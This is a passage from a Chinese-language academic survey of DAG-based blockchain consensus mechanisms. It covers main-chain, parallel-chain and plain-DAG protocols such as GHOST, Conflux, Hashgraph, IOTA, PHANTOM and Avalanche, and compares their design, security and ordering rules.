账本中的交易确认策略有关.区块链中,区块所包含的交易一定是合法交易,双花等冲突交易不会出现在同一链上.而基于DAG的账本对可能的冲突交易采用乐观的包容策略,即对于并发产生的单元,只要其遵循基本协议规则,便可被包含进入账本,如果其中个别交易存在冲突,则将通过共识算法判定其合法性.这本质上是一种延后冲突解决策略,避免了区块链中因竞态条件冲突带来的网络算力资源浪费以及可扩展性限制.</p><hr><h2 id="2-基于DAG的共识机制发展现状"><a href="#2-基于DAG的共识机制发展现状" class="headerlink" title="2.基于DAG的共识机制发展现状"></a>2.基于DAG的共识机制发展现状</h2><p>本节中,我们对基于 DAG 的分布式账本共识机制的本质原理与特性进行阐述.在系统研究的基础上,我们将现有基于DAG的共识机制分为以下 3类:(1) 基于主干链的DAG共识协议,首先在DAG中确定主链,进而确定交易全序;(2) 基于平行链的DAG共识协议,网络中各实体或实体集合分别维护一条链,链间通过相互引用构成平行链结构,实体间利用此引用关系进行共识;(3) 基于朴素 DAG 的共识协议,除基本引用规则外无特殊限制,在 DAG 拓扑结构中利用某种投票机制进行共识.我们在第 2.1 节~第 2.3 节分别进行详细的介绍.</p><h3 id="2-1-基于主干链的DAG共识机制"><a href="#2-1-基于主干链的DAG共识机制" class="headerlink" title="2.1 基于主干链的DAG共识机制"></a>2.1 基于主干链的DAG共识机制</h3><p>在第 1.3节我们指出DAG具有可定全序的特性,其中一个重要的思路是首先在DAG拓扑中共识出一条主干链,随后基于此对 DAG 进行拓扑排序.GHOST、Inclusive Blockchain Protocol、Conflux和 Byteball是此类基于主干链的 DAG 共识协议的典型代表,账本形态如图 2 所示.</p><p><img src="2-1-1.jpg" alt=""></p><h4 id="2-1-1-GHOST"><a href="#2-1-1-GHOST" class="headerlink" title="2.1.1 GHOST"></a>2.1.1 GHOST</h4><p>2015 年,Sompolinsky 和 Zohar 提出了基于树形 DAG 的共识协议GHOST(greedy heaviest-observed-sub-tree),它针对传统区块链在高并发情况下存在的问题,利用树形 DAG 结构进行了一定的改进.</p><p>中本聪指出,当攻击者拥有50%以下算力时,双花交易成功(即主链被颠覆)的概率随时间的推移而呈指数下降.然而,这个分析建立在网络同步性良好、区块同步速率远大于区块产生间隔的前提下.如果区块的并发性提升,上述结论则未必成立.原因在于,如果因区块并发或网络同步原因导致诚实节点不能够及时收到其他节点产生的区块,而只能继续在较旧的区块上挖矿,这将导致同一区块之后出现多个诚实节点独立产生的若干个并发区块.此时,从全网的角度来看,多数诚实节点的算力被抵消或浪费(若干个并发区块中最终只有一个合法),使得在比特币最长链原则下,恶意敌手可以利用 50%以下的算力颠覆最长链,从而完成双花攻击.</p><p>针对这一问题,GHOST 采用“最大权重子树”原则来选取主链,以取代比特币中的最长链原则.具体而言,GHOST 将候选区块集合及其引用关系看作一棵树,记作 T=(V,E),它的目标是从 T中选择一条主链,作为最终主链.首先,对 T中每个区块 B,记其权重为 1,其子区块集合为 childrenT(B).GHOST 从创世区块开始,在 T中递归地向后选取主链区块.每一步中,记当前主链区块为 B,则主链上下一区块必然属于 childrenT(B),而具体选择哪一个,则是先计算以每个候选子区块为树根的子树权重大小,取权重最大者为下一个主链区块.如此不断递归,直至到达 T的端节点.</p><p>可以看出,GHOST考虑了并发情况下后继区块构成的子树的权重.在此基础上,GHOST证明,即使在出块速率较高的网络中,颠覆主链所需的恶意节点临界算力依旧为 50%.在 Kiayias、Kiffer 等人的进一步研究中,GHOST 的安全性得到了进一步严格的分析与证明.作为首个以区块为基本单元的树形 DAG 共识协议,GHOST对后续出现的 Inclusive Blockchain Protocol和 Conflux产生了重要影响.两者都继承了 GHOST 在 DAG 中选举主链的思想;但更进一步地,这两个协议将主链之外的其他区块也包含进最终的 DAG 账本中,从而更大程度地提高了账本的吞吐量和并发条件下的性能(见第 2.1.2 节和第 2.1.3 节).</p><h4 id="2-1-2-Inclusive-Blockchain-Protocol"><a href="#2-1-2-Inclusive-Blockchain-Protocol" class="headerlink" title="2.1.2 Inclusive Blockchain Protocol"></a>2.1.2 Inclusive Blockchain Protocol</h4><p>2015 年,Lewenbegr 等人提出 Inclusive Blockchain Protocol,该协议(为便于描述,下文用 Inclusive 协议指代)是对 GHOST 的进一步发展.GHOST 在树形 DAG 的基础上通过最大权重子树递归地选举主链,提高了系统在并发情况下的安全性.但与比特币一样,GHOST 账本不包含主链之外区块(孤块)中的交易.这一方面造成系统算力的浪费,另一方面,系统性能也不能随着系统节点(算力)的增加而呈线性提高.为此,Inclusive 协议对其进行了改进.</p><p>GHOST 协议下,每个区块只能引用一个父区块,账本呈树形结构,最终只有主链上的区块合法.而在Inclusive 协议中,每个区块可以同时引用若干个父区块(一般为区块产生时自己视图中的端区块),账本变为朴素的 DAG,并且,此 DAG 中的所有区块均被视为最终账本的一部分.而这同时带来一个问题,即并发产生的区块中可能包含重复或冲突的交易,并非所有区块中的所有交易都最终合法.对此,Inclusive协议首先在DAG中共识主链,然后根据主链和拓扑结构对所有区块排序.区块全序确定之后,根据交易所在区块的顺序,冲突交易中优先被区块包含的被判定合法,其他视为非法,最终,所有的合法交易构成账本交易集合.作为一个协议框架,Inclusive 协议在共识主链的过程中可以采用比特币的最长链原则也可以利用 GHOST 协议,并对其针对性加以讨论,具体排序算法也未详细展开,这在后来的 Conflux 中得到了进一步发展.</p><p>在 Inclusive 协议中,主链之外的区块也能获得挖矿及手续费奖励,这在很大程度上保护了网络中弱连接矿工的利益,避免了系统的中心化.但它同时也是一把双刃剑:即使双花攻击失败,攻击者也能获得奖励,双花攻击的代价因此减小.为应对这一问题,Inclusive 协议引入了奖励递减函数,非主链区块的奖励与它们被主链区块引用的速度有关,引用越“慢”,奖励越低(攻击者往往会隐藏双花攻击区块,导致它们更“慢”地被主链区块引用),这有效地遏制了攻击者从中谋取利益.另一个问题是,如果矿工在利益驱使下,均优先包含高手续费的交易,那么区块之间的交易重复率将大大增加,导致系统吞吐量并不能随着区块的增加而呈线性提高.对此,Lewenbegr 等人通过博弈分析证明:矿工在产生区块时会随机选取交易进行包含,以避免因冲突而带来的交易费的损失,从而使得自己的收益最大化.</p><h4 id="2-1-3-Conflux"><a href="#2-1-3-Conflux" class="headerlink" title="2.1.3 Conflux"></a>2.1.3 Conflux</h4><p>2018 年,Li 等人提出了 Conflux,它是 GHOST思想的延伸,并对Inclusive 协议做出改进.与 Inclusive 相同的是,Conflux 中每个区块可以引用若干个父区块,且最终账本由所有区块中的合法交易构成.不同的是,Conflux中对区块的引用进行了分类,明确了排序规则.</p><p>Conflux 中,<strong>每个区块有且只有一个父节点边(parent edge),代表一种投票关系,用于共识主链</strong>.除此之外,对其他所有前驱区块的引用均为引用边(reference edge),仅用于判定时间先后顺序.如果在 DAG 中去除引用边而只保留父节点边,DAG 将退化成一棵树,此时,Conflux 采用 GHOST 的最大权重子树原则递归地从这棵树中选举主链.主链确定后,利用主链区块将 DAG 划分为前后相继的轮次,分别对每轮内的所有区块运行拓扑排序算<br>法,最终构成整个 DAG 的区块全序,进而交易全序及冲突交易的合法性也被确定.与主链共识算法相对应地,每个节点在产生新区块时会用父节点边引用视图中的主链端区块(入度为 0 的区块),如同比特币中矿工延长最长链一样,起到主链投票的作用;而主链端区块之外的所有其他端区块,均采用引用边进行引用,以促使 DAG 收敛并用于拓扑排序.</p><p>Conflux 与 Inclusive 协议的账本均包含所有区块,区块利用率达到 100%.相比之下,如果增加区块大小或减小区块间隔,比特币和 GHOST 会因为主链分叉而导致大量区块成为无效的孤块,进而影响系统的稳定性并限制了吞吐量;而在 Conflux 和 Inclusive 中,因为最终账本由所有区块中的合法交易构成,使得系统吞吐量能够随着算力的增加而近似线性提高.</p><h4 id="2-1-4-Byteball"><a href="#2-1-4-Byteball" class="headerlink" title="2.1.4 Byteball"></a>2.1.4 Byteball</h4><p>与上述方案不同,Byteball是一种<strong>基于交易单元的 DAG 账本</strong>.Byteball 中没有区块,DAG 账本由用户发出的交易单元(unit)构成.每个用户在创建交易单元时,在激励机制的作用下会引用自己视图中的端节点为父节点,随后在对它支付与单元大小相对应的手续费并进行合法签名之后,该单元即可通过网络广播被其他节点收到,并添加进各自的 DAG 账本中.</p><p>Byteball 的共识机制<strong>通过引入见证人(witness)加以实现,这些见证人是社区中具有声望的用户或信誉良好的公司实体等</strong>.每个用户在发布交易单元需要指定自己信赖的 12 个见证人,写入见证人列表.随后,算法根据见证人列表为该单元在其父节点单元中选定一个作为最佳父节点(best parent).从DAG中端节点出发,沿着最佳父节点所在的边一直回溯,直到创世单元为止,<strong>这条路径被称为该端节点所代表的主链(main chain)</strong>.根据见证人所发布单元的密集程度不同,共识算法从DAG中不同端节点所代表的主链中选定一条作为系统主链,并确定其上的稳定点(stability point).该稳定点是未来所有可能的系统主链的汇聚点,随着见证人不断发布新的单元,它将沿着系统主链不断前进,而其直接或间接引用的所有单元也达到稳定状态.</p><p><strong>确定系统主链及位于其上的稳定点之后,稳定点之前的所有单元便可以被确定全序.</strong>首先,位于主链上的单元依次被赋予主链编号(main chain index,简称 MCI)0,1,2,…,n,不在主链上的单元的 MCI 对应为主链上最早将它直接或间接引用的单元的 MCI.结合主链编号和哈希,稳定点之前所有单元的全序被确定下来.此时,若两个单元之间存在冲突(如双花),全序中出现最早的将被判定合法,而另一个被视为非法.同时,由于所有还未被稳定点包含的潜在冲突单元在全序中一定出现更晚,已经进入稳定状态的合法交易在将来也不可能被双花成功.Byteball 稳定点推进算法的确定性决定了其交易进入稳定状态的确定性,因此,不同于多数分布式账本,Byteball的交易确认是确定性的而非概率性的.随着见证人单元的发布,稳定点不断被推进,新单元也将获得快速确认.</p><h3 id="2-2-基于平行链的DAG共识协议"><a href="#2-2-基于平行链的DAG共识协议" class="headerlink" title="2.2 基于平行链的DAG共识协议"></a>2.2 基于平行链的DAG共识协议</h3><p>在基于平行链的DAG账本中,网络中的各个节点或者账户分别维护一条链以记录本地信息,各链之间通过交互引用构成基于平行链的 DAG,账本形态如图 3 所示.Hashgraph、Nano和 DEXON是此类共识协议的代表.</p><p><img src="2-2-1.jpg" alt=""></p><h4 id="2-2-1-Hashgraph"><a href="#2-2-1-Hashgraph" class="headerlink" title="2.2.1 Hashgraph"></a>2.2.1 Hashgraph</h4><p>Baird 在 2016 年提出 Hashgraph,它<strong>通过虚拟投票的方式在基于 DAG 的账本中实现无领导拜占庭共识(leaderless Byzantine fault tolerance)</strong>.</p><p>Hashgraph 中,<strong>每个成员维护一条链,成员之间通过 gossip 协议进行交互</strong>.它们频繁地以随机方式从其他成员中选出一个进行信息同步,接收到同步信息的成员在本地创建一个事件(event),记录该同步历史.每个事件主要包含 3 部分内容:<strong>时间戳、交易和哈希</strong>.时间戳用于记录本次同步时间;交易部分记录 0 到多个自己收到的、需要广播给全网的交易;哈希部分包含两个哈希域,分别指向自己维护的链上最新事件和与自己同步信息的成员链上的最新事件.事实上,第 2 个哈希既记录了全网的事件同步历史、构成Hashgraph 的 DAG 账本,也是虚拟投票的核心,使得 Hashgraph 在无需额外通信开销的情况下便能完成拜占庭共识.</p><p>Hashgraph 中每个事件一旦生成,算法便为其确定轮次(round),成员在每轮中产生的第 1 个事件被称为<strong>见证事件(witness)</strong>.为了对所有事件进行排序,需要在这些见证事件中确定知名见证事件(famous witness).该过程分为两个步骤:<strong>投票阶段和计票阶段</strong>.在投票阶段,r+1 轮的每个见证事件对第r 轮中的所有见证事件的知名性进行投票,根据是否可见(see)投是或否(若A事件到 B事件之间存在路径,则称 A可见 B.但如果 B事件所在的成员链上存在分叉行为,则视为不可见).在计票阶段,第 r+2 轮的见证事件收集其强可见(strongly see)的 r+1 轮见证事件对第 r 轮所有见证事件的投票(若 A 事件到 B 事件之间的路径中包含了 2/3 以上的成员的事件,则称 A 强可见B).如果收集到2/3以上的是(yes),则第r轮对应见证事件为知名见证事件;同理,若收集到2/3以上的否(no),则第 r 轮对应见证事件为非知名见证事件;若两种投票都未能超过 2/3,则等待下一轮投票,直到确定(为避免在恶意敌手操控下投票无法收敛,Hashgraph 设有随机投票轮次)为止.知名见证事件是一个非常重要的参考点,Hashgraph 据此为所有事件<strong>确定接收轮次(round received)和共识时间戳(consensus timestamp)</strong>,然后对所有事件确定全序:首先按照接收轮次将事件分到不同轮,每轮内根据共识时间戳进行排序,而如果共识时间戳相同,则通过扩展共识时间戳排序或更进一步的签名排序.</p><p>需要指出的是,以上投票均为虚拟投票,成员之间根据本地 DAG 的状态就能模拟投票过程,而无需由某个成员主导,也无需进行额外的交互,因此,Hashgraph 实质上是一种无领导拜占庭共识.相比于传统的拜占庭共识协议,如 PBFT,Hashgraph 大大降低了共识所需的通信开销,并且能够有效抵御针对主节点成员的 DDoS 攻击.目前,Hashgraph 的成员由全球 39 个声誉良好的组织构成,每年会有 1/3 的动态替换,但不支持节点的增删.</p><h4 id="2-2-2-Nano"><a href="#2-2-2-Nano" class="headerlink" title="2.2.2 Nano"></a>2.2.2 Nano</h4><p>与大多数分布式账本不同的是,<strong>Nano为每个账户维护一条链,记录该账户的所有交易历史</strong>.Nano 中,账户每产生一笔交易即创造一个区块(可以认为两者是同一概念),每个账户下的区块前后相继构成该账户的区块链,不同链之间通过相互引用关系构成区块点阵(block lattice).</p><p>Nano 中一笔完整的转账交易由两个子交易构成——发送方产生的发送交易(send)和接收方产生的接收交易(receive).首先,发送方通过引用自己账户下最新区块创建一个发送交易,并将该区块广播.此时,相应金额已从当前账户中扣除,交易处于待接收状态.接收方收到此交易后,通过引用该发送交易以及自己账户链中的最新区块创建接收交易,此时,交易被标记为完成状态.可以看出,接收交易构成了不同账户之间的引用关系,形成 Nano的平行链 DAG 结构.</p><p>Nano 的共识思想是从以 Peercoin为代表的基于 PoS 的投票系统发展而来的.在 Peercoin 中,用户的投票权重与其拥有的系统代币数量成正比.在此基础上,Nano 要求每个账户在创建之初指定自己的代表,如果系统中出现冲突,将由这些代表通过基于权重的投票进行共识,每个代表的权重为选定其为代表的账户余额之和.如果某个账户的区块链出现分叉,即有两个或多个区块有相同的前驱区块,说明该用户试图双花.当检测到这种类型的双花交易后,代表们通过在自己的链中创建投票区块对双花交易进行投票,最后得票权重更高的区块被认定为合法.</p><p>由于账户余额的加法满足交换律,如果同时收到多个发送交易,接收方可以根据自己的意愿确定接收先后顺序,而无需考虑它们的竞态关系.由此,Nano 中不同链、不同用户之间可以实现独立异步更新账本而不互相干扰.但同时,这一设计也存在比较明显的缺点:由于一笔交易必须有接收交易才能完成,Nano 中需要节点在线才能完成交易的接收.</p><h4 id="2-2-3-DEXON"><a href="#2-2-3-DEXON" class="headerlink" title="2.2.3 DEXON"></a>2.2.3 DEXON</h4><p>DEXON于 2018 年提出,采用区块点阵结构作为其分布式账本,但此区块点阵与 Nano 相比有较大差异.DEXON 中存在若干条平行的区块链,每条链独立进行共识.此外,这些平行链之间通过区块中的引用字段(ack<br>field)进行互相确认,最终通过这些引用关系确定全局区块顺序.</p><p>DEXON 共识主要分为两个模块,<strong>一是单链共识协议,二是确定平行链间区块全序</strong>.针对前者,DEXON 在Algorand的基础上进行了改进,作为单链共识方案.针对后者,DEXON 设计了一套排序机制,能够基于平行链区块间的引用关系确定区块全序,并计算出每一个区块的无偏时间戳.该排序方案基于事件驱动,仅在接收到新区块或本地区块点阵结构满足一定条件时需要进行运算,但由于该机制较为复杂,这里我们仅阐述其主要思想.</p><p>在 DEXON 中,已被单链共识产生的区块分为两种状态:<strong>已排序区块和待排序区块</strong>.其中,已排序区块是指已经被排序算法输出并定序的区块,其余为待排序区块.在待排序区块中,当某个待排序区块所直接引用的所有区块都已被定序时,则被称为候选区块(candidate block).而在这些候选区块中,满足特定条件的被称为优先候选区块,定义如下:对两个区块 b<del>1</del>与 b<del>2</del>,如果某条链 q 的区块相比 b<del>2</del>更早地引用了 b<del>1</del>,则认为在 q 链的投票下 b<del>1</del>先于b<del>2</del>,如果做出这样投票的平行链数量超过了安全参数$\Phi$,则称 b<del>1</del>优先于 b<del>2</del>.对于候选区块 b 以及任意其他候选区块 b’,如果无论之后收到任何新区块,b’都不可能优先于 b,那么 b 就称为一个优先候选区块.</p><p>每当因接收到新区块而导致DAG拓扑发生变化时,如果候选区块集合满足内部稳定与外部稳定两个性质,DEXON 全局排序算法将从候选区块中输出所有优先候选区块,将这些区块根据哈希排序并输出到已排序区块队列.这里,内部稳定性是指在候选区块集合内部,优先候选区块要“足够”优先于其他非优先候选区块;外部稳定性是指无论后续收到任何新区块,优先候选区块的优先级也相对更高.当一个区块被确定全序之后,取每一条平行链(假设共 n 条)上排序在该区块之前的最后一个区块,以这 n 个区块时间戳的中值作为该区块的无偏时间戳.DEXON 指出,该排序算法的时间与空间复杂度均为 O(n^2^).此外,该排序算法对单链的具体共识协议没有任何要求,因此是一种通用的平行链区块全局排序算法.</p><h3 id="2-3-基于朴素DAG的共识协议"><a href="#2-3-基于朴素DAG的共识协议" class="headerlink" title="2.3 基于朴素DAG的共识协议"></a>2.3 基于朴素DAG的共识协议</h3><p>以上两种基于 DAG 的共识协议分别利用主链及平行链间的引用关系,在基于 DAG 账本中进行共识.除此之外,以 Dagcoin、IOTA为代表的方案利用 DAG 拓扑结构的特性,采用某种形式的投票机制进行共识,我们称其为基于朴素 DAG 的共识协议,账本形态如图 4 所示.</p><p><img src="2-3-1.jpg" alt=""></p><h4 id="2-3-1-DagCoin"><a href="#2-3-1-DagCoin" class="headerlink" title="2.3.1 DagCoin"></a>2.3.1 DagCoin</h4><p>2015 年,Lerner 提出了 DagCoin,它是<strong>首个以交易为基本单元的DAG账本</strong>,用户的交易直接进入DAG账本,成为其中的一个节点,而非包含于由矿工产生的某个区块中.DagCoin 中,用户在创建交易时需要进行一定量的PoW,验证并引用当前DAG视图中一个或多个交易,该交易发出后,经由P2P网络广播给其他节点,进入DAG账本.</p><p>在区块链中,收到双花交易的节点会将其直接丢弃,而不转发给邻节点,进一步地,矿工在创建区块时也不会包含冲突交易,即链上不存在双花交易.但为了避免视图分割(攻击者给不同的节点发送不同顺序的双花交易,造成节点的 DAG 账本不一致),DagCoin 中的网络节点不能直接过滤双花交易,如果双花交易之间不存在偏序,则它们均可被添加进 DAG 账本,之后通过共识算法判定合法性.为此,DagCoin 引入确认分数(confirmation score)机制.正常情况下,每个交易对其所直接或间接引用的交易贡献1个单位的确认分数,但如果被引用的交易中存在冲突,则只对其中引用分数高者贡献确认分数(确认分数相同的情况下,被优先引用的交易确认分数增加).随着 DAG 账本的不断增长,冲突交易中只有一个确认分数会不断增长,而另一个停止增长,从而前者被判定合法,后者视为无效.</p><p>DagCoin 未给出交易确认所需的确认分数阈值,也未对敌手策略或安全边界进行详细分析,更多的是停留在思想层面.但另一方面,作为第一个以交易为基本单元的 DAG 账本,DagCoin 对之后出现的同样基于交易的DAG 账本,如 IOTA和 Byteball,提供了很多参考.DagCoin 提出的基于每个交易进行 PoW、设计激励机制以促进交易验证和端节点引用,先乐观地让冲突交易进入账本之后通过共识机制判定合法性等思想在IOTA和Byteball 中均得到了继承.除此之外,IOTA 和 Byteball 分别从交易确认机制和共识形态等方面各自进行了改进(见第 2.3.2 节和第 2.1.4 节).</p><h4 id="2-3-2-IOTA"><a href="#2-3-2-IOTA" class="headerlink" title="2.3.2 IOTA"></a>2.3.2 IOTA</h4><p><strong>IOTA是一个面向物联网(IoT)的分布式账本</strong>,账本的参与节点为物联网中的设备.IOTA 继承了 DagCoin的思想,<strong>以交易为基本单元构成账本</strong>,每个交易需要验证并引用账本中的两个交易.用户在创建交易时,需要进行一定量的 PoW,以避免恶意节点的泛洪攻击,且该 PoW被用于计算交易权重和累计权重,以进行共识.</p><p>IOTA为每个交易计算权重(weight)和累计权重(cumulative weight),前者与交易自身 PoW大小成正相关,后者是自身权重与DAG中直接或间接引用自己的所有交易的权重之和.本质上,累计权重代表了全网对该交易的信任度.当一个交易的累计权重足够高时,它将以极高的概率得到确认.此外,为了避免节点引用攻击者的双花交易,以及惩罚懒惰节点,IOTA 引入了马可夫蒙特卡洛(Markov chain Monte carol)随机游走算法.该算法中,节点需要先在 DAG 中随机选取累计权重在W与 2W之间的 N个点,然后让它们以概率</p><p><img src="2-3-2.jpg" alt=""></p><p>向子交易随机游走,最先到达的两个端交易(tip site)即为需要验证的两个交易.其中,y→x 表示 y 直接引用 x,$\alpha$是一个非负可调参数.在该公式中,存在引用关系的两个交易之间累计权重相差越小,则子交易为随机游走的下一步的概率越高.实际情形中,懒惰节点所发布的交易以及攻击者的双花交易所在的子 DAG 中,交易的累计权重往往要比主链中的交易小很多,因此该算法能够有效避免这些交易被后续交易引用.</p><p>事实上,除累计权重外,根据马尔可科夫蒙特卡洛随机游走算法也能够判定交易合法性.但实际应用中,两种方式对普通用户来说过于复杂,且在攻击者算力足够高的情况下不能有效抵御双花攻击.因此在实际运行中IOTA 引入了一个由基金会运行的协调节点(coordinator)来定期发布检查点以进行交易确认.</p><h4 id="2-3-3-SPECTRE"><a href="#2-3-3-SPECTRE" class="headerlink" title="2.3.3 SPECTRE"></a>2.3.3 SPECTRE</h4><p>Sompolinsky 和 Zohar 等人在 2016 年提出 SPECTRE,它是一个以区块为基本单元的 DAG 账本.在SPECTRE中,每个诚实节点在挖矿时需要引用自己的DAG视图中所有端区块,因此账本呈现为朴素DAG形态.</p><p>朴素 DAG 账本的核心问题在于交易确认,而交易确认又依赖于冲突交易的排序,为此,SPECTRE 引入了投票机制.DAG 账本 G 中的每个区块均拥有一个投票权,以决定两个冲突区块(包含冲突交易)的顺序.如果区块 x与区块 y 产生冲突,则 G 中每一个区块均需按照一定规则对 x 与 y 的顺序做出投票.记区块 z 的投票为vote<del>x,y</del>(z,G),若该值为 1,则代表 z 认为 x 在 y 之前,若该值为–1,则反之.最终,对G中所有投票结果求和,若为非负,则认为 x 在 y 之后,反之,则认为 x 在 y 之前.之后根据冲突交易的排序结果,SPECTRE利用交易确认算法对合法交易进行确认.简要而言,一个交易tx被确认合法需要满足3个条件:(1) tx的所有输入均来自已经被确认的合法<br>交易;(2) 所有与 tx 产生冲突的交易在上述排序算法下排序都被判定为 tx 之后;(3) 所有与 tx 产生冲突,且其所属区块在 tx 所属区块前驱子图中的交易都已被判定非法.最后,SPECTRE 提供了一种改进算法,能够对已经确<br>认的交易集合进行评估,最终输出一个更为健壮的合法交易集,其中的交易被颠覆的概率可以忽略不计.</p><p>SPECTRE <strong>本质上是利用基于 DAG 的拓扑结构的投票算法来解决冲突交易排序的排序问题,进而达成对于整个 DAG 账本的共识</strong>.SPECTRE 证明,在敌手算力低于 50%的前提下,合法交易集合中的交易被颠覆的概率极低.需要指出的是,SPECTRE 的共识算法只能确定合法交易集合,但不能对所有交易确定全局顺序,这在一定程度上限制了其功能的可扩展性.</p><h4 id="2-3-4-PHANTOM"><a href="#2-3-4-PHANTOM" class="headerlink" title="2.3.4 PHANTOM"></a>2.3.4 PHANTOM</h4><p>PHANTOM是 Sompolinsky 和 Zohar 在 2018 年提出的基于区块的 DAG 账本,它是对于 SPECTRE 的继承和发展.与SPECTRE相同的是,PHAMTOM要求诚实矿工在创建区块时引用DAG视图中所有端区块,并且在产生区块之后立即将其通过 P2P 网络广播.而与 SPECTRE 不同的是,PHAMTOM 的共识机制能够实现对所有区块确定全局顺序.</p><p>PHAMTOM通过区块集合区分诚实节点和恶意节点产生的区块.由于诚实节点会引用DAG中所有的端区块并及时广播自己的区块,它们产生的区块在 DAG 上更容易形成一个紧密连接的集合.而对于恶意节点,其要么不引用全部当前端区块,要么不及时广播自己的区块,则其区块会被排除在上述集合之外.据此,PHANTOM将上述紧密连接的集合(更可能是诚实节点产生的区块)称为蓝色集合,而其他蓝色集合之外的区块(更可能是恶意节点产生的区块)构成红色集合.排序算法运行时,在不违背 DAG 的基本引用关系的前提下,蓝色集合中区块的顺序将优先于红色集合的区块,并以此奖励诚实的行为,惩罚红色集合中的区块.</p><p>在 PHANTOM 中,蓝色集合被称为 k-cluster.记 DAG 账本 G=(E,V)中与区块 B 没有引用关系的区块集合为anticone(B,G),对于 G 中区块集合 S$\subseteq$V,若其满足$\forall$B$\in$S. $\vert$anticone (B,G)$\bigcap$ S $\vert$ $\leq$k,则称 S 为一个 k-cluster,其中,k为一个非负参数,其值与网络情况有关.该定义使得在区块集合 S 中,与任意区块 B $\in$S 没有直接或间接引用关系的区块总数不超过 k.由于直接在 G 中确定最大 k-cluster 的算法复杂度过高,PHANTOM 采用贪心算法递归地从 DAG 账本中确定蓝色集合 k-cluster,并以此确定区块及交易全序.</p><p>PHANTOM 证明了该共识协议具有极高的可扩展性与活性(liveness),随着时间的推移,恶意节点颠覆账本的概率趋近于 0.此外,该算法的安全边界为(1–$\delta$)/2,其中,$\delta$与网络最大延迟 D<del>max</del>及传播参数 k 有关,在适当的参数选择下,该协议能够保证接近 50%的安全边界.</p><h4 id="2-3-5-Meshcash"><a href="#2-3-5-Meshcash" class="headerlink" title="2.3.5 Meshcash"></a>2.3.5 Meshcash</h4><p>2017年,Bentov等人提出Meshcash,<strong>它同样是以区块为基本单元的DAG账本.Meshcash取消了区块间的竞态条件,诚实节点产生的区块最终都能加入账本并得到奖励,保护了小矿工的利益</strong>.同时,Meshcash 能够承载高区块率、支持高吞吐量.</p><p>Meshcash 中诚实节点通过工作量证明机制产生新区块,引用自己视图中所有的端区块.每个区块包含一个层级编号,当视图中某一层的合法区块数量达到一定阈值之后区块的层级加 1,诚实节点需要对此编号达成一个弱共识.Meshcash 引入了两级共识机制:兔子策略共识和乌龟策略共识.前者用于实现交易的快速确认,但存在共识被颠覆的风险;后者用于保证稳定性,即使在最坏情况下也能实现最终共识.<br>兔子策略共识协议需要满足两个条件:(1) 能够有效抵御预先生成区块攻击;(2) 提供[t,s]一致性,即诚实节点能够在[i+t,i+s]层之内对第 i 层区块的合法性达成一致.在满足以上前提的情况下,兔子策略共识具有可插拔性.Meshcash 讨论了两种兔子策略共识,一是依赖于弱时间同步的策略,但该方案因需要所有参与矿工均为诚实节点而不具有可行性;二是每层的区块产生者形成委员会,委员会成员通过链下拜占庭共识协议进行区块合法性共识.乌龟策略在兔子策略的基础上加入可见边和投票边,第i层区块通过[i–s+1,i–1]层区块对i–s层之前区块的投票形成共识.如果兔子策略协议未能在诚实节点间形成对某个区块的合法性共识,乌龟策略协议将通过随机投票方式保证最终收敛.一旦诚实节点对某一区块的合法性形成共识,后续诚实节点会形成一致性判断,该区块获得的合法性投票将随着层级呈线性增长.Meshcash证明了在恶意敌手算力占比小于1/3且已在兔子策略下达成共识的情况下乌龟策略也将形成同样的最终共识;而如果恶意敌手控制算力占比小于 1/15,乌龟策略协议能够在任意兔子共识策略和初始条件下达成共识.</p><h4 id="2-3-6-Avalanche"><a href="#2-3-6-Avalanche" class="headerlink" title="2.3.6 Avalanche"></a>2.3.6 Avalanche</h4><p>Avalanche提出于 2018 年,是基于交易单元的 DAG 账本.<strong>Avalanche通过节点之间的不断随机交互式抽样,通过无领导拜占庭的方式使全网达成对于单个交易的共识.</strong></p><p>Avalanche 提出了一组使得全网对于单个交易达成共识的基础方案:Slush、Snowflake 和 Snowball.Slush 方案分为两个步骤:(1) 节点首先验证交易 tx 的合法性,如果认为合法,则将其染色为红色,否则,将其染色为蓝色.如果无法形成判断,则询问周围节点,按照多数原则对该状态染色;(2) 随机地从周围节点中抽样 k 个询问它们对 tx 的染色,如果多数节点染色与自己不同,则改变自己染色.该过程将重复足够多次,以保证最终各个节点得到一致性判断.Snowflake 在 Slush 的基础上进行了优化,在步骤 2的执行过程中,如果连续多次迭代都得到相同的 tx 染色结果,则直接确认染色并跳出循环.Snowball 在 Snowflake 之上加入了当前染色的置信度,以协助循环终止条件的判断.在以上方案的基础上,Avalanche 以 DAG 作为账本载体组织交易,使得每次询问 tx 合法性时,被 tx 直接或间接引用的交易染色情况也得到询问.最终,Avalanche 通过 Snowball 方案来达成对交易的染色及确认.</p><h2 id="3-基于DAG的共识机制特性分析"><a href="#3-基于DAG的共识机制特性分析" class="headerlink" title="3.基于DAG的共识机制特性分析"></a>3.基于DAG的共识机制特性分析</h2><p>基于 DAG 的分布式账本最核心的两个要素是<strong>账本的共识形态和数据组织方式</strong>,前者决定了全网节点如何对交易的合法性达成共识,后者影响到账本的数据准入方式.本节我们将首先从共识形态出发对基于主干链的DAG 账本、基于平行链的 DAG 账本和基于朴素 DAG 的账本进行横向对比分析,然后从数据组织方式的角度对基于交易的 DAG 账本和基于区块的 DAG 账本进行讨论.</p><h3 id="3-1-不同共识形态的账本特征分析"><a href="#3-1-不同共识形态的账本特征分析" class="headerlink" title="3.1 不同共识形态的账本特征分析"></a>3.1 不同共识形态的账本特征分析</h3><p>在第2节,我们对现有基于DAG的分布式账本共识机制进行了分类及阐述.如表1所示,基于主干链的DAG账本、基于平行链的 DAG 账本和基于朴素 DAG 的账本代表了目前主流的 DAG 账本形式,而它们之间由于共识形态的差异又存在各自的特点.本节我们将从设计思路、安全性分析以及智能合约支持性这 3 个方面对其进行分析和探讨.</p><p><img src="3-1-1.jpg" alt=""></p><h4 id="3-1-1-设计思路"><a href="#3-1-1-设计思路" class="headerlink" title="3.1.1 设计思路"></a>3.1.1 设计思路</h4><p>基于主干链的 DAG 账本具有清晰的发展脉络,其<strong>核心思想是首先在 DAG中共识主链,然后利用主链对账本进行拓扑排序,进而完成交易合法性判定</strong>.GHOST协议首次提出利用最大权重子树的方式从树形结构中选举主链,在此基础上,Inclusive 将主链之外的区块也视作账本的一部分,将其中的合法交易包含进入账本;Conflux继承两者思想,并将区块对父节点的引用类型做出区分,明确了 DAG 账本中拓扑排序及交易确认方式;作为以交易为基本单元的 DAG 账本,Byteball 